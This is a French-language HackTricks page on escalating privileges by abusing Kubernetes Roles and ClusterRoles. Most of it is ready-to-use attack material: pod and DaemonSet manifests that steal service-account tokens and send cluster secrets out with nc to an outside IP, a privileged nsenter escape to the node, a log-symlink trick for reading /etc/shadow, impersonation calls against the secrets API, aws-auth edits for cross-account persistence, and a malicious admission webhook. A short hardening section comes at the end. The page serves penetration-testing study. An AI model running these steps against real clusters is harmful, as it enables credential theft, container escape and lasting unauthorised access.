Abusing Roles/ClusterRoles in Kubernetes

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Ici, vous pouvez trouver des configurations de rôles et de ClusterRoles potentiellement dangereuses. Rappelez-vous que vous pouvez obtenir toutes les ressources prises en charge avec kubectl api-resources

Élévation de privilèges

Désignant l'art d'obtenir l'accès à un autre principal au sein du cluster avec des privilèges différents (au sein du cluster Kubernetes ou vers des clouds externes) que ceux que vous avez déjà, dans Kubernetes, il existe essentiellement 4 techniques principales pour escalader les privilèges :

  • Pouvoir usurper l'identité d'autres utilisateurs/groupes/SA avec des privilèges supérieurs au sein du cluster Kubernetes ou vers des clouds externes

  • Pouvoir créer/patcher/exécuter des pods où vous pouvez trouver ou attacher des SA avec des privilèges supérieurs au sein du cluster Kubernetes ou vers des clouds externes

  • Pouvoir lire des secrets car les jetons des SA sont stockés en tant que secrets

  • Pouvoir s'échapper vers le nœud à partir d'un conteneur, où vous pouvez voler tous les secrets des conteneurs s'exécutant dans le nœud, les informations d'identification du nœud et les autorisations du nœud dans le cloud où il s'exécute (le cas échéant)

  • Une cinquième technique qui mérite d'être mentionnée est la capacité à exécuter un port-forward dans un pod, car vous pourriez accéder à des ressources intéressantes à l'intérieur de ce pod.

Accéder à n'importe quelle ressource ou verbe (Joker)

Le joker (*) donne la permission sur n'importe quelle ressource avec n'importe quel verbe. Il est utilisé par les administrateurs. À l'intérieur d'un ClusterRole, cela signifie qu'un attaquant pourrait abuser de n'importe quel espace de noms dans le cluster

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Accéder à n'importe quelle ressource avec un verbe spécifique

En RBAC, certaines autorisations présentent des risques importants :

  1. create : Accorde la capacité de créer n'importe quelle ressource de cluster, risquant une élévation de privilèges.

  2. list : Permet de lister toutes les ressources, potentiellement en train de divulguer des données sensibles.

  3. get : Autorise l'accès aux secrets des comptes de service, posant une menace pour la sécurité.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Création de Pod - Vol de jeton

Un attaquant avec les autorisations pour créer un pod pourrait attacher un compte de service privilégié au pod et voler le jeton pour se faire passer pour le compte de service. Cela permet d'escalader efficacement les privilèges.

Exemple d'un pod qui volera le jeton du compte de service bootstrap-signer et l'enverra à l'attaquant :

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Création et Évasion de Pod

Ce qui suit indique tous les privilèges qu'un conteneur peut avoir :

  • Accès privilégié (désactivation des protections et configuration des capacités)

  • Désactiver les espaces de noms hostIPC et hostPid qui peuvent aider à escalader les privilèges

  • Désactiver l'espace de noms hostNetwork, donnant accès au vol des privilèges du cloud des nœuds et un meilleur accès aux réseaux

  • Monter les hôtes / à l'intérieur du conteneur

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Créez le pod avec :

kubectl --token $token create -f mount_root.yaml

Une ligne de ce tweet avec quelques ajouts :

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Maintenant que vous pouvez vous échapper vers le nœud, vérifiez les techniques de post-exploitation dans :

Furtivité

Vous voulez probablement être plus discret, dans les pages suivantes, vous pouvez voir à quoi vous auriez accès si vous créez un pod en activant uniquement certains des privilèges mentionnés dans le modèle précédent :

  • Privilégié + hostPID

  • Uniquement privilégié

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Vous pouvez trouver des exemples de comment créer/abuser des configurations de pods privilégiés précédents sur https://github.com/BishopFox/badPods

Créer un Pod - Passer au cloud

Si vous pouvez créer un pod (et éventuellement un compte de service), vous pourriez être en mesure d'obtenir des privilèges dans l'environnement cloud en assignant des rôles cloud à un pod ou à un compte de service puis en y accédant. De plus, si vous pouvez créer un pod avec l'espace de noms du réseau hôte, vous pouvez voler le rôle IAM de l'instance nœud.

Pour plus d'informations, consultez :

pagePod Escape Privileges

Créer/Modifier le déploiement, les Daemonsets, les Statefulsets, les Replicationcontrollers, les Replicasets, les Jobs et les Cronjobs

Il est possible d'abuser de ces autorisations pour créer un nouveau pod et obtenir des privilèges comme dans l'exemple précédent.

Le yaml suivant crée un daemonset et exfiltre le jeton du compte de service à l'intérieur du pod :

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec est une ressource dans Kubernetes utilisée pour exécuter des commandes dans un shell à l'intérieur d'un pod. Cela permet d'exécuter des commandes à l'intérieur des conteneurs ou d'obtenir un shell à l'intérieur.

Par conséquent, il est possible de pénétrer à l'intérieur d'un pod et voler le jeton du SA, ou d'entrer dans un pod privilégié, de s'échapper vers le nœud, et de voler tous les jetons des pods dans le nœud et d'(ab)user du nœud:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Cette autorisation permet de rediriger un port local vers un port spécifique dans le pod spécifié. Cela permet de déboguer facilement les applications s'exécutant à l'intérieur d'un pod, mais un attaquant pourrait l'exploiter pour accéder à des applications intéressantes (comme des bases de données) ou vulnérables (sites web ?) à l'intérieur d'un pod :

kubectl port-forward pod/mypod 5000:5000

Évasion de /var/log/ en écriture sur les hôtes

Comme indiqué dans cette recherche, si vous pouvez accéder ou créer un pod avec le répertoire /var/log/ des hôtes monté dessus, vous pouvez échapper du conteneur. Cela est essentiellement dû au fait que lorsque le Kube-API tente d'obtenir les journaux d'un conteneur (en utilisant kubectl logs <pod>), il demande le fichier 0.log du pod en utilisant le point de terminaison /logs/ du service Kubelet. Le service Kubelet expose le point de terminaison /logs/ qui expose essentiellement le système de fichiers /var/log du conteneur.

Par conséquent, un attaquant ayant accès en écriture au répertoire /var/log/ du conteneur pourrait abuser de ces comportements de 2 manières :

  • Modifier le fichier 0.log de son conteneur (généralement situé dans /var/logs/pods/namespace_pod_uid/container/0.log) pour qu'il soit un lien symbolique pointant vers /etc/shadow par exemple. Ensuite, vous pourrez exfiltrer le fichier shadow des hôtes en faisant :

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Si l'attaquant contrôle un principal avec les autorisations de lire nodes/log, il peut simplement créer un lien symbolique dans /host-mounted/var/log/sym vers / et lors de l'accès à https://<gateway>:10250/logs/sym/ il listera le système de fichiers racine des hôtes (modifier le lien symbolique peut donner accès aux fichiers).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Un laboratoire et un exploit automatisé peuvent être trouvés dans https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Contournement de la protection en lecture seule

Si vous avez de la chance et que la capacité hautement privilégiée CAP_SYS_ADMIN est disponible, vous pouvez simplement remonter le dossier en rw:

mount -o rw,remount /hostlogs/

Contournement de la protection en lecture seule de hostPath

Comme indiqué dans cette recherche, il est possible de contourner la protection :

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Ce qui était censé empêcher les échappatoires comme les précédents en utilisant, au lieu d'un montage hostPath, un PersistentVolume et un PersistentVolumeClaim pour monter un dossier hosts dans le conteneur avec un accès en écriture :

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Impersonation de comptes privilégiés

Avec un impersonation d'utilisateur privilégié, un attaquant pourrait se faire passer pour un compte privilégié.

Il suffit d'utiliser le paramètre --as=<nom_utilisateur> dans la commande kubectl pour se faire passer pour un utilisateur, ou --as-group=<groupe> pour se faire passer pour un groupe :

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Ou utilisez l'API REST :

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listing Secrets

La permission de list secrets pourrait permettre à un attaquant de réellement lire les secrets en accédant au point de terminaison de l'API REST :

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lecture d'un secret - force brute des identifiants de jetons

Alors qu'un attaquant en possession d'un jeton avec des autorisations de lecture nécessite le nom exact du secret pour l'utiliser, contrairement au privilège plus large de listing secrets, il existe toujours des vulnérabilités. Les comptes de service par défaut dans le système peuvent être énumérés, chacun étant associé à un secret. Ces secrets ont une structure de nom : un préfixe statique suivi d'un jeton alphanumérique aléatoire de cinq caractères (à l'exclusion de certains caractères) selon le code source.

Le jeton est généré à partir d'un ensemble limité de 27 caractères (bcdfghjklmnpqrstvwxz2456789), plutôt que de la plage alphanumérique complète. Cette limitation réduit le nombre total de combinaisons possibles à 14 348 907 (27^5). Par conséquent, un attaquant pourrait raisonnablement exécuter une attaque par force brute pour déduire le jeton en quelques heures, ce qui pourrait potentiellement entraîner une élévation de privilèges en accédant à des comptes de service sensibles.

Demandes de signature de certificat

Si vous avez les verbes create dans la ressource certificatesigningrequests (ou au moins dans certificatesigningrequests/nodeClient). Vous pouvez créer un nouveau CeSR d'un nouveau nœud.

Selon la documentation, il est possible d'approuver automatiquement ces demandes, donc dans ce cas, vous n'avez pas besoin de permissions supplémentaires. Sinon, vous devriez être en mesure d'approuver la demande, ce qui signifie une mise à jour dans certificatesigningrequests/approval et approve dans signers avec le nom de ressource <signerNameDomain>/<signerNamePath> ou <signerNameDomain>/*

Un exemple de rôle avec toutes les autorisations requises est :

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Donc, avec le nouveau CSR du nœud approuvé, vous pouvez abuser des autorisations spéciales des nœuds pour voler des secrets et escalader les privilèges.

Dans cet article et celui-ci, la configuration GKE K8s TLS Bootstrap est configurée avec une signature automatique et elle est exploitée pour générer les informations d'identification d'un nouveau nœud K8s, puis abuser de celles-ci pour escalader les privilèges en volant des secrets. Si vous avez les privilèges mentionnés, vous pourriez faire la même chose. Notez que le premier exemple contourne l'erreur empêchant un nouveau nœud d'accéder aux secrets à l'intérieur des conteneurs car un nœud ne peut accéder qu'aux secrets des conteneurs montés sur celui-ci.

La façon de contourner cela est simplement de créer des informations d'identification de nœud pour le nom du nœud où le conteneur avec les secrets intéressants est monté (mais vérifiez simplement comment le faire dans le premier article):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Les principaux qui peuvent modifier les configmaps dans l'espace de noms kube-system sur les clusters EKS (doivent être dans AWS) peuvent obtenir des privilèges d'administrateur de cluster en écrasant le aws-auth configmap. Les verbes nécessaires sont update et patch, ou create si le configmap n'a pas été créé:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Vous pouvez utiliser aws-auth pour la persistance en donnant accès aux utilisateurs d'autres comptes.

Cependant, aws --profile other_account eks update-kubeconfig --name <cluster-name> ne fonctionne pas depuis un compte différent. Mais en réalité, aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing fonctionne si vous mettez l'ARN du cluster au lieu du nom. Pour que kubectl fonctionne, assurez-vous simplement de configurer le kubeconfig de la victime et dans les arguments exec aws ajoutez --profile other_account_role afin que kubectl utilise le profil de l'autre compte pour obtenir le jeton et contacter AWS.

Escalade dans GKE

Il existe 2 façons d'attribuer des autorisations K8s aux principaux GCP. Dans tous les cas, le principal a également besoin de l'autorisation container.clusters.get pour pouvoir collecter les informations d'identification permettant d'accéder au cluster, ou vous devrez générer votre propre fichier de configuration kubectl (suivez le lien suivant).

Lors de la communication avec le point de terminaison de l'API K8s, le jeton d'authentification GCP sera envoyé. Ensuite, GCP, via le point de terminaison de l'API K8s, vérifiera d'abord si le principal (par e-mail) a un accès à l'intérieur du cluster, puis il vérifiera s'il a un accès via GCP IAM. Si l'un de ces éléments est vrai, il recevra une réponse. Sinon, une erreur suggérant de donner des autorisations via GCP IAM sera donnée.

Ensuite, la première méthode consiste à utiliser GCP IAM, les autorisations K8s ont leurs équivalents en autorisations GCP IAM, et si le principal les a, il pourra les utiliser.

pageGCP - Container Privesc

La deuxième méthode consiste à attribuer des autorisations K8s à l'intérieur du cluster en identifiant l'utilisateur par son e-mail (y compris les comptes de service GCP).

Créer des jetons de comptes de service

Les principaux qui peuvent créer des demandes de jeton (serviceaccounts/token) lors de la communication avec le point de terminaison de l'API K8s SAs (informations provenant de ici).

Conteneurs éphémères

Les principaux qui peuvent mettre à jour ou patcher les pods/conteneurs éphémères peuvent obtenir une exécution de code sur d'autres pods, et potentiellement s'échapper vers leur nœud en ajoutant un conteneur éphémère avec un contexte de sécurité privilégié.

Configurations de webhook de validation ou de mutation

Les principaux avec l'un des verbes create, update ou patch sur validatingwebhookconfigurations ou mutatingwebhookconfigurations pourraient être en mesure de créer l'une de ces configurations de webhook afin de pouvoir escalader les privilèges.

Pour un exemple de mutatingwebhookconfigurations, consultez cette section de ce post.

Escalade

Comme vous pouvez le lire dans la section suivante : Prévention de l'escalade des privilèges intégrée, un principal ne peut ni mettre à jour ni créer de rôles ou de clusterroles sans avoir lui-même ces nouvelles autorisations. Sauf s'il a le verbe escalate sur roles ou clusterroles. Alors il peut mettre à jour/créer de nouveaux rôles, clusterroles avec des autorisations supérieures à celles qu'il a.

Proxy des nœuds

Les principaux ayant accès à la sous-ressource nodes/proxy peuvent exécuter du code sur des pods via l'API Kubelet (selon ceci). Plus d'informations sur l'authentification Kubelet sur cette page :

pageKubelet Authentication & Authorization

Vous avez un exemple de comment obtenir RCE en parlant autorisé à une API Kubelet ici.

Supprimer des pods + nœuds non planifiables

Les principaux qui peuvent supprimer des pods (verbe delete sur la ressource pods), ou évacuer des pods (verbe create sur la ressource pods/eviction), ou modifier l'état du pod (accès à pods/status) et peuvent rendre d'autres nœuds non planifiables (accès à nodes/status) ou supprimer des nœuds (verbe delete sur la ressource nodes) et ont le contrôle sur un pod, pourraient voler des pods d'autres nœuds pour qu'ils soient exécutés dans le nœud compromis et l'attaquant peut voler les jetons de ces pods.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

État des services (CVE-2020-8554)

Les principaux qui peuvent modifier services/status peuvent définir le champ status.loadBalancer.ingress.ip pour exploiter la CVE-2020-8554 non corrigée et lancer des attaques MiTM contre le cluster. La plupart des mesures d'atténuation pour la CVE-2020-8554 ne préviennent que les services ExternalIP (selon ceci).

État des nœuds et des pods

Les principaux avec des autorisations de mise à jour ou de patch sur nodes/status ou pods/status, pourraient modifier des libellés pour affecter les contraintes de planification appliquées.

Prévention de l'escalade de privilèges intégrée

Kubernetes dispose d'un mécanisme intégré pour prévenir l'escalade de privilèges.

Ce système garantit que les utilisateurs ne peuvent pas élever leurs privilèges en modifiant des rôles ou des liaisons de rôles. L'application de cette règle se fait au niveau de l'API, offrant une protection même lorsque l'autorisateur RBAC est inactif.

La règle stipule qu'un utilisateur ne peut créer ou mettre à jour un rôle que s'il possède toutes les autorisations comprises dans le rôle. De plus, la portée des autorisations existantes de l'utilisateur doit correspondre à celle du rôle qu'il tente de créer ou de modifier : soit à l'échelle du cluster pour les ClusterRoles, soit confinée au même espace de noms (ou à l'échelle du cluster) pour les Roles.

Il y a une exception à la règle précédente. Si un principal a le verbe escalate sur roles ou clusterroles, il peut augmenter les privilèges des rôles et des clusterroles même sans avoir les autorisations lui-même.

Obtenir & Modifier les RoleBindings/ClusterRoleBindings

Apparemment, cette technique fonctionnait auparavant, mais selon mes tests, elle ne fonctionne plus pour la même raison expliquée dans la section précédente. Vous ne pouvez pas créer/modifier un rolebinding pour vous-même ou un autre SA pour lui donner des privilèges si vous ne les avez pas déjà.

Le privilège de créer des Rolebindings permet à un utilisateur de lier des rôles à un compte de service. Ce privilège peut potentiellement entraîner une élévation de privilèges car il permet à l'utilisateur de lier des privilèges d'administrateur à un compte de service compromis.

Autres attaques

Application proxy Sidecar

Par défaut, il n'y a pas de chiffrement dans la communication entre les pods. Authentification mutuelle, bidirectionnelle, pod à pod.

Créer une application proxy Sidecar

Créez votre .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Modifiez votre fichier .yaml et ajoutez les lignes commentées :

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Consultez les journaux du proxy :

kubectl logs app -C proxy

Plus d'informations sur: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Contrôleur d'admission malveillant

Un contrôleur d'admission intercepte les requêtes vers le serveur API Kubernetes avant la persistance de l'objet, mais après que la requête soit authentifiée et autorisée.

Si un attaquant parvient d'une manière ou d'une autre à injecter un Contrôleur d'Admission de Mutation, il pourra modifier des requêtes déjà authentifiées. En étant potentiellement capable de privilège élevé, et plus généralement de persister dans le cluster.

Exemple de https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Vérifiez le statut pour voir s'il est prêt :

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Ensuite, déployez un nouveau pod :

kubectl run nginx --image nginx
kubectl get po -w

Lorsque vous voyez l'erreur ErrImagePull, vérifiez le nom de l'image avec l'une des requêtes suivantes :

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Comme vous pouvez le voir dans l'image ci-dessus, nous avons essayé d'exécuter l'image nginx mais l'image exécutée finalement est rewanthtammana/malicious-image. Que s'est-il passé !!?

Aspects techniques

Le script ./deploy.sh établit un contrôleur d'admission de webhook de mutation, qui modifie les requêtes vers l'API Kubernetes tel que spécifié dans ses lignes de configuration, influençant ainsi les résultats observés:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Meilleures pratiques

Désactiver l'automontage des jetons de compte de service

  • Pods et comptes de service: Par défaut, les pods montent un jeton de compte de service. Pour renforcer la sécurité, Kubernetes permet de désactiver cette fonctionnalité d'automontage.

  • Comment appliquer: Définir automountServiceAccountToken: false dans la configuration des comptes de service ou des pods à partir de la version 1.6 de Kubernetes.

Affectation d'utilisateurs restrictive dans les RoleBindings/ClusterRoleBindings

  • Inclusion sélective: Veillez à ce que seuls les utilisateurs nécessaires soient inclus dans les RoleBindings ou ClusterRoleBindings. Auditez régulièrement et supprimez les utilisateurs non pertinents pour maintenir une sécurité renforcée.

Rôles spécifiques à l'espace de noms plutôt que des rôles globaux

  • Rôles vs ClusterRoles: Préférez utiliser des Rôles et RoleBindings pour les autorisations spécifiques à l'espace de noms plutôt que des ClusterRoles et ClusterRoleBindings, qui s'appliquent à l'ensemble du cluster. Cette approche offre un contrôle plus fin et limite la portée des autorisations.

Utiliser des outils automatisés

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour